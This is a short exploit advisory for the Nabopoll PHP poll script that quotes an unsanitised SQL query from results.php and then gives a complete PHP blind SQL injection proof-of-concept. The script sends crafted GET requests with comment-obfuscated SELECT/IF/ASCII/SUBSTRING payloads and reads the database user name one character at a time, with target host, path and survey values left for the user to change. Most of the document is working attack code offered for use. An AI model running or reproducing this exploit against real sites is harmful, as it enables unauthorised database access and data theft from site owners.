nabopoll-sql.txt

`Nabopoll have a bug in some files, for example results.php  
  
Line 27...31  
--------------------------------  
$res_question = mysql_query("select * from nabopoll_questions where survey=$survey order by id");  
  
if ($res_question == FALSE || mysql_numrows($res_question) == 0)  
  
error($row_survey, "questions not found");  
  
--------------------------------  
Exploit  
--------------------------------  
  
<?  
# Nabopoll Blind SQL Injection P0C Exploit  
# Download: www.nabocorp.com/nabopoll/  
# coded by s0cratex  
# Contact: [email protected]  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
  
// just change the default values...  
$srv = "localhost"; $path = "/poll"; $port = 80;  
$survey = "8"; //you can verify the number entering in the site and viewing the results...  
  
echo "==================================================\n";  
echo "Nabopoll SQL Injection -- Proof of Concept Exploit\n";  
echo "--------------------------------------------------\n\n";  
echo " -- MySQL User: ";  
$j = 1; $user = "";  
while(!strstr($user,chr(0))){  
for($x=0;$x<255;$x++){  
$xpl = "/result.php?surv=".$survey."/**/AND/**/1=(SELECT/**/(IF((ASCII(SUBSTRING(user(),".$j.",1))=".$x."),1,0)))/*";  
$cnx = fsockopen($srv,$port);  
fwrite($cnx,"GET ".$path.$xpl." HTTP/1.0\r\n\r\n");  
while(!feof($cnx)){ if(ereg("power",fgets($cnx))){ $user.=chr($x);echo chr($x); break; } }   
fclose($cnx);  
if ($x==255) {   
die("\n Try again...");  
}  
}  
$j++;  
}  
echo "\n";  
?>  
`